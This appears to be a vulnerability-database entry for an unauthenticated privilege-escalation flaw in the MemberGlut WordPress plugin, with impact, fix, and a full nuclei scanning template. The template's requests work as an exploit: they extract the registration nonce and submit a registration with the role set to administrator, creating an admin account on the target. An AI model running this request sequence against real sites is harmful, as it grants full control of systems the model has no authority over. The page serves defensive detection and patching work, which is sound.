Browse / CVEs / CVE-2026-12394
CVE-2026-12394· memberglut / memberglut· CWE-269
WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation
criticalseverity
9.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.
Impact
Unauthenticated users can register as administrators, leading to full site compromise.
Fix
Update to version 1.1.5 or later.
How to confirm it
Send: GET /register/
Positive when: contains_all(body, "register_nonce", "memberglut_register") and status_code == 200
Send: POST /register/ ; GET /wp-admin/users.php
Positive when: status_code_1 == 302 and contains(header_1, "registration_success") and status_code_2 == 200 and contains_all(body_2, "wpbody-content", "Administrator")Run it with nuclei: nuclei -id CVE-2026-12394 -u <target>
The full check
id: CVE-2026-12394
info:
name: WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation
author: str4k3r
severity: critical
description: |
MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.
impact: |
Unauthenticated users can register as administrators, leading to full site compromise.
remediation: |
Update to version 1.1.5 or later.
reference:
- https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/
- https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.0/includes/class-memberglut-forms.php
- https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.5/includes/class-memberglut-forms.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-12394
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-12394
epss-score: 0.02071
epss-percentile: 0.81594
cwe-id: CWE-269
metadata:
max-request: 3
verified: true
vendor: memberglut
product: memberglut
fofa-query: body="wp-content/plugins/memberglut"
tags: cve,cve2026,wordpress,wp-plugin,memberglut,privesc,unauth,wp
variables:
rand_user: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /register/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "register_nonce", "memberglut_register")
- status_code == 200
condition: and
internal: true
extractors:
- type: regex
name: register_nonce
part: body
group: 1
regex:
- 'name="register_nonce"\s*value="([a-f0-9]+)"'
internal: true
- raw:
- |
POST /register/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=memberglut_register®ister_nonce={{register_nonce}}&username={{rand_user}}&email={{rand_user}}@example.test&password=Cve12394Test1!&first_name=a&last_name=a&default_role=administrator
- |
GET /wp-admin/users.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_1 == 302
- contains(header_1, "registration_success")
- status_code_2 == 200
- contains_all(body_2, "wpbody-content", "Administrator")
condition: andReferences
- https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/
- https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.0/includes/class-memberglut-forms.php
- https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.5/includes/class-memberglut-forms.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-12394
Use this check only on systems you are authorised to test. Where the data comes from